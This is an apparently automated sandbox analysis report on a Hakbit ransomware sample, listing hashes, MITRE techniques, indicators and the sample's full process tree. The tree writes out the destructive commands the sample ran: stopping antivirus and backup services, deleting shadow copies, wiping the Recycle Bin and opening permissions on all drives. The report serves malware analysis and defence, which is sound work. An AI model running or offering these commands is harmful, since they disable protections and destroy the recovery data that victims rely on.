hakbit | e5242266d9fc1e27e583a920ff6b9ff445c0942793ed80a92d5c5b6792d25f62

Resubmissions

17-11-2020 12:01

201117-yzjn4s5cdn 10

18-06-2020 04:28

200618-tg948yvz5n 10

Analysis

max time kernel
1800s
max time network
1795s
platform
windows10_x64
resource
win10v20201028
submitted
17-11-2020 12:01

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

System.exe
Size

66KB
MD5

8d6ab03994b0ce3466873aa7532fe76b
SHA1

156aecd4d8e65d205181ad5eace466c8798d3c86
SHA256

e5242266d9fc1e27e583a920ff6b9ff445c0942793ed80a92d5c5b6792d25f62
SHA512

2c1df9fb201b4a750378dfa7029755239167efa51ae4ddc9c5042218a1d01c3bf5557c09faeda4f3f68818082a6f95526d5776d432b5b6774ae2c1c90dc7a84c

Score

10^/10

hakbit discovery persistence ransomware spyware

Malware Config

Signatures

Hakbit
Ransomware which encrypts files using AES, first seen in November 2019.
ransomware hakbit
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk	System.exe

Modifies file permissions 1 TTPs 29 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4232	icacls.exe
4604	icacls.exe
4692	icacls.exe
5076	icacls.exe
4140	icacls.exe
4184	icacls.exe
4112	icacls.exe
1484	icacls.exe
4908	icacls.exe
4736	icacls.exe
4368	icacls.exe
4400	icacls.exe
4528	icacls.exe
4996	icacls.exe
4272	icacls.exe
4440	icacls.exe
4952	icacls.exe
4648	icacls.exe
4820	icacls.exe
5036	icacls.exe
4664	icacls.exe
4484	icacls.exe
4776	icacls.exe
4864	icacls.exe
4156	icacls.exe
4212	icacls.exe
4752	icacls.exe
4316	icacls.exe
4360	icacls.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081

Enumerates connected drives 3 TTPs 18 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\h:	vssadmin.exe
File opened (read-only)	\??\H:	vssadmin.exe
File opened (read-only)	\??\h:	vssadmin.exe
File opened (read-only)	\??\D:	vssadmin.exe
File opened (read-only)	\??\E:	vssadmin.exe
File opened (read-only)	\??\G:	vssadmin.exe
File opened (read-only)	\??\H:	vssadmin.exe
File opened (read-only)	\??\e:	vssadmin.exe
File opened (read-only)	\??\E:	vssadmin.exe
File opened (read-only)	\??\G:	vssadmin.exe
File opened (read-only)	\??\f:	vssadmin.exe
File opened (read-only)	\??\g:	vssadmin.exe
File opened (read-only)	\??\g:	vssadmin.exe
File opened (read-only)	\??\D:	vssadmin.exe
File opened (read-only)	\??\e:	vssadmin.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\f:	vssadmin.exe
File opened (read-only)	\??\F:	vssadmin.exe

Modifies WinLogon 2 TTPs 2 IoCs

persistence

Winlogon Helper DLL

T1004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption = "Information..."	System.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText = "\r\n* ATTENTION *\r\nYour File Locked By \"Military Algorithm\" And Wiped. \r\nFor Recovery Your Files Contact : [email protected]"	System.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\FriendlyName	taskmgr.exe

Interacts with shadow copies 2 TTPs 14 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
4016	vssadmin.exe
268	vssadmin.exe
3692	vssadmin.exe
3008	vssadmin.exe
3868	vssadmin.exe
1180	vssadmin.exe
4032	vssadmin.exe
4000	vssadmin.exe
500	vssadmin.exe
3956	vssadmin.exe
3504	vssadmin.exe
3500	vssadmin.exe
3584	vssadmin.exe
3792	vssadmin.exe

Kills process with taskkill 3 IoCs

evasion

pid	Process
2948	taskkill.exe
4056	taskkill.exe
196	taskkill.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

description	pid	Process
Token: SeDebugPrivilege	580	System.exe
Token: SeDebugPrivilege	2948	taskkill.exe
Token: SeDebugPrivilege	4056	taskkill.exe
Token: SeDebugPrivilege	196	taskkill.exe
Token: SeBackupPrivilege	1392	vssvc.exe
Token: SeRestorePrivilege	1392	vssvc.exe
Token: SeAuditPrivilege	1392	vssvc.exe
Token: SeDebugPrivilege	2892	taskmgr.exe
Token: SeSystemProfilePrivilege	2892	taskmgr.exe
Token: SeCreateGlobalPrivilege	2892	taskmgr.exe
Token: 33	2892	taskmgr.exe
Token: SeIncBasePriorityPrivilege	2892	taskmgr.exe

Suspicious use of FindShellTrayWindow 51 IoCs

pid	Process
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
580	System.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe

Suspicious use of SendNotifyMessage 51 IoCs

pid	Process
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
580	System.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 580 wrote to memory of 3944	580	System.exe	74
PID 580 wrote to memory of 3944	580	System.exe	74
PID 3944 wrote to memory of 3924	3944	net.exe	76
PID 3944 wrote to memory of 3924	3944	net.exe	76
PID 580 wrote to memory of 2952	580	System.exe	78
PID 580 wrote to memory of 2952	580	System.exe	78
PID 2952 wrote to memory of 416	2952	net.exe	80
PID 2952 wrote to memory of 416	2952	net.exe	80
PID 580 wrote to memory of 2744	580	System.exe	81
PID 580 wrote to memory of 2744	580	System.exe	81
PID 2744 wrote to memory of 1180	2744	net.exe	83
PID 2744 wrote to memory of 1180	2744	net.exe	83
PID 580 wrote to memory of 184	580	System.exe	84
PID 580 wrote to memory of 184	580	System.exe	84
PID 184 wrote to memory of 936	184	net.exe	86
PID 184 wrote to memory of 936	184	net.exe	86
PID 580 wrote to memory of 2400	580	System.exe	87
PID 580 wrote to memory of 2400	580	System.exe	87
PID 2400 wrote to memory of 500	2400	net.exe	89
PID 2400 wrote to memory of 500	2400	net.exe	89
PID 580 wrote to memory of 1160	580	System.exe	90
PID 580 wrote to memory of 1160	580	System.exe	90
PID 1160 wrote to memory of 2124	1160	net.exe	92
PID 1160 wrote to memory of 2124	1160	net.exe	92
PID 580 wrote to memory of 3860	580	System.exe	93
PID 580 wrote to memory of 3860	580	System.exe	93
PID 3860 wrote to memory of 2344	3860	net.exe	95
PID 3860 wrote to memory of 2344	3860	net.exe	95
PID 580 wrote to memory of 3028	580	System.exe	96
PID 580 wrote to memory of 3028	580	System.exe	96
PID 3028 wrote to memory of 4004	3028	net.exe	98
PID 3028 wrote to memory of 4004	3028	net.exe	98
PID 580 wrote to memory of 752	580	System.exe	99
PID 580 wrote to memory of 752	580	System.exe	99
PID 752 wrote to memory of 4052	752	net.exe	101
PID 752 wrote to memory of 4052	752	net.exe	101
PID 580 wrote to memory of 3104	580	System.exe	102
PID 580 wrote to memory of 3104	580	System.exe	102
PID 3104 wrote to memory of 508	3104	net.exe	104
PID 3104 wrote to memory of 508	3104	net.exe	104
PID 580 wrote to memory of 200	580	System.exe	105
PID 580 wrote to memory of 200	580	System.exe	105
PID 200 wrote to memory of 4056	200	net.exe	107
PID 200 wrote to memory of 4056	200	net.exe	107
PID 580 wrote to memory of 2944	580	System.exe	108
PID 580 wrote to memory of 2944	580	System.exe	108
PID 2944 wrote to memory of 2316	2944	net.exe	110
PID 2944 wrote to memory of 2316	2944	net.exe	110
PID 580 wrote to memory of 1444	580	System.exe	111
PID 580 wrote to memory of 1444	580	System.exe	111
PID 1444 wrote to memory of 1352	1444	net.exe	113
PID 1444 wrote to memory of 1352	1444	net.exe	113
PID 580 wrote to memory of 2060	580	System.exe	114
PID 580 wrote to memory of 2060	580	System.exe	114
PID 2060 wrote to memory of 3928	2060	net.exe	116
PID 2060 wrote to memory of 3928	2060	net.exe	116
PID 580 wrote to memory of 2344	580	System.exe	117
PID 580 wrote to memory of 2344	580	System.exe	117
PID 2344 wrote to memory of 692	2344	net.exe	119
PID 2344 wrote to memory of 692	2344	net.exe	119
PID 580 wrote to memory of 3684	580	System.exe	120
PID 580 wrote to memory of 3684	580	System.exe	120
PID 3684 wrote to memory of 2960	3684	net.exe	122
PID 3684 wrote to memory of 2960	3684	net.exe	122

C:\Users\Admin\AppData\Local\Temp\System.exe
"C:\Users\Admin\AppData\Local\Temp\System.exe"
1⤵
- Drops startup file
- Modifies WinLogon
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:580
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop avpsus /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3944
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop avpsus /y
    3⤵
    PID:3924
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop McAfeeDLPAgentService /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2952
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop McAfeeDLPAgentService /y
    3⤵
    PID:416
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop mfewc /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2744
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop mfewc /y
    3⤵
    PID:1180
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BMR Boot Service /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:184
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BMR Boot Service /y
    3⤵
    PID:936
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop NetBackup BMR MTFTP Service /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2400
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y
    3⤵
    PID:500
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop DefWatch /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1160
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop DefWatch /y
    3⤵
    PID:2124
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop ccEvtMgr /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3860
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop ccEvtMgr /y
    3⤵
    PID:2344
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop ccSetMgr /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3028
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop ccSetMgr /y
    3⤵
    PID:4004
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop SavRoam /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:752
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SavRoam /y
    3⤵
    PID:4052
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop RTVscan /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3104
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop RTVscan /y
    3⤵
    PID:508
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop QBFCService /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:200
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop QBFCService /y
    3⤵
    PID:4056
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop QBIDPService /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2944
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop QBIDPService /y
    3⤵
    PID:2316
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop Intuit.QuickBooks.FCS /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1444
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop Intuit.QuickBooks.FCS /y
    3⤵
    PID:1352
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop QBCFMonitorService /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2060
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop QBCFMonitorService /y
    3⤵
    PID:3928
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop YooBackup /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2344
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop YooBackup /y
    3⤵
    PID:692
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop YooIT /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3684
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop YooIT /y
    3⤵
    PID:2960
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop zhudongfangyu /y
  2⤵
  PID:1020
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop zhudongfangyu /y
    3⤵
    PID:3188
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop stc_raw_agent /y
  2⤵
  PID:3288
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop stc_raw_agent /y
    3⤵
    PID:3620
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop VSNAPVSS /y
  2⤵
  PID:936
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop VSNAPVSS /y
    3⤵
    PID:3584
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop VeeamTransportSvc /y
  2⤵
  PID:3380
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop VeeamTransportSvc /y
    3⤵
    PID:2336
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop VeeamDeploymentService /y
  2⤵
  PID:2236
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop VeeamDeploymentService /y
    3⤵
    PID:3716
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop VeeamNFSSvc /y
  2⤵
  PID:3520
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop VeeamNFSSvc /y
    3⤵
    PID:3692
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop veeam /y
  2⤵
  PID:2960
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop veeam /y
    3⤵
    PID:3336
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop PDVFSService /y
  2⤵
  PID:2956
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop PDVFSService /y
    3⤵
    PID:3188
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecVSSProvider /y
  2⤵
  PID:3620
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecVSSProvider /y
    3⤵
    PID:3812
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecAgentAccelerator /y
  2⤵
  PID:2996
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
    3⤵
    PID:3748
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecAgentBrowser /y
  2⤵
  PID:2204
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
    3⤵
    PID:3864
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecDiveciMediaService /y
  2⤵
  PID:3244
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecDiveciMediaService /y
    3⤵
    PID:3936
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecJobEngine /y
  2⤵
  PID:3988
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecJobEngine /y
    3⤵
    PID:416
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecManagementService /y
  2⤵
  PID:3292
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecManagementService /y
    3⤵
    PID:3204
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecRPCService /y
  2⤵
  PID:3188
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecRPCService /y
    3⤵
    PID:212
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop AcrSch2Svc /y
  2⤵
  PID:2316
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop AcrSch2Svc /y
    3⤵
    PID:2008
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop AcronisAgent /y
  2⤵
  PID:3612
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop AcronisAgent /y
    3⤵
    PID:496
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop CASAD2DWebSvc /y
  2⤵
  PID:3844
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop CASAD2DWebSvc /y
    3⤵
    PID:3868
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop CAARCUpdateSvc /y
  2⤵
  PID:3924
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop CAARCUpdateSvc /y
    3⤵
    PID:508
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop sophos /y
  2⤵
  PID:3204
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop sophos /y
    3⤵
    PID:3548
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config SQLTELEMETRY start= disabled
  2⤵
  PID:3680
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
  2⤵
  PID:1524
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config SQLWriter start= disabled
  2⤵
  PID:2064
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config SstpSvc start= disabled
  2⤵
  PID:732
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mspub.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2948
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mydesktopqos.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4056
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mydesktopservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:196
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" Delete Shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4000
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:3868
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:4016
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=401MB
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:1180
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=unbounded
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:4032
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=401MB
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:500
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=unbounded
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:3956
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=401MB
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:3504
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=unbounded
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:3500
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=401MB
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:268
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=unbounded
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:3584
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=401MB
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:3692
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=unbounded
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:3008
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" Delete Shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:3792
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
  2⤵
  PID:2008
- C:\Windows\SYSTEM32\icacls.exe
  "icacls.exe" A:\* /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:1484
- C:\Windows\SYSTEM32\icacls.exe
  "icacls.exe" B:\* /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:4140
- C:\Windows\SYSTEM32\icacls.exe
  "icacls.exe" D:\* /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:4184
- C:\Windows\SYSTEM32\icacls.exe
  "icacls.exe" E:\* /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:4232
- C:\Windows\SYSTEM32\icacls.exe
  "icacls.exe" F:\* /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:4272
- C:\Windows\SYSTEM32\icacls.exe
  "icacls.exe" G:\* /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:4316
- C:\Windows\SYSTEM32\icacls.exe
  "icacls.exe" H:\* /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:4360
- C:\Windows\SYSTEM32\icacls.exe
  "icacls.exe" I:\* /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:4400
- C:\Windows\SYSTEM32\icacls.exe
  "icacls.exe" J:\* /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:4440
- C:\Windows\SYSTEM32\icacls.exe
  "icacls.exe" K:\* /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:4484
- C:\Windows\SYSTEM32\icacls.exe
  "icacls.exe" L:\* /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:4528
- C:\Windows\SYSTEM32\icacls.exe
  "icacls.exe" M:\* /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:4604
- C:\Windows\SYSTEM32\icacls.exe
  "icacls.exe" N:\* /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:4648
- C:\Windows\SYSTEM32\icacls.exe
  "icacls.exe" O:\* /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:4692
- C:\Windows\SYSTEM32\icacls.exe
  "icacls.exe" P:\* /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:4736
- C:\Windows\SYSTEM32\icacls.exe
  "icacls.exe" Q:\* /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:4776
- C:\Windows\SYSTEM32\icacls.exe
  "icacls.exe" R:\* /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:4820
- C:\Windows\SYSTEM32\icacls.exe
  "icacls.exe" S:\* /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:4864
- C:\Windows\SYSTEM32\icacls.exe
  "icacls.exe" T:\* /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:4908
- C:\Windows\SYSTEM32\icacls.exe
  "icacls.exe" U:\* /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:4952
- C:\Windows\SYSTEM32\icacls.exe
  "icacls.exe" V:\* /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:4996
- C:\Windows\SYSTEM32\icacls.exe
  "icacls.exe" W:\* /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:5036
- C:\Windows\SYSTEM32\icacls.exe
  "icacls.exe" X:\* /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:5076
- C:\Windows\SYSTEM32\icacls.exe
  "icacls.exe" Y:\* /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:4112
- C:\Windows\SYSTEM32\icacls.exe
  "icacls.exe" Z:\* /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:4156
- C:\Windows\SYSTEM32\icacls.exe
  "icacls.exe" C:\Users\Admin\Desktop\* /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:4212
- C:\Windows\SYSTEM32\icacls.exe
  "icacls.exe" C:\Users\Admin\Documents\* /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:4368
- C:\Windows\SYSTEM32\icacls.exe
  "icacls.exe" C:\Users\Admin\Pictures\* /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:4664
- C:\Windows\SYSTEM32\icacls.exe
  "icacls.exe" C:\Users\Admin\* /grant Everyone:F /T /C /Q
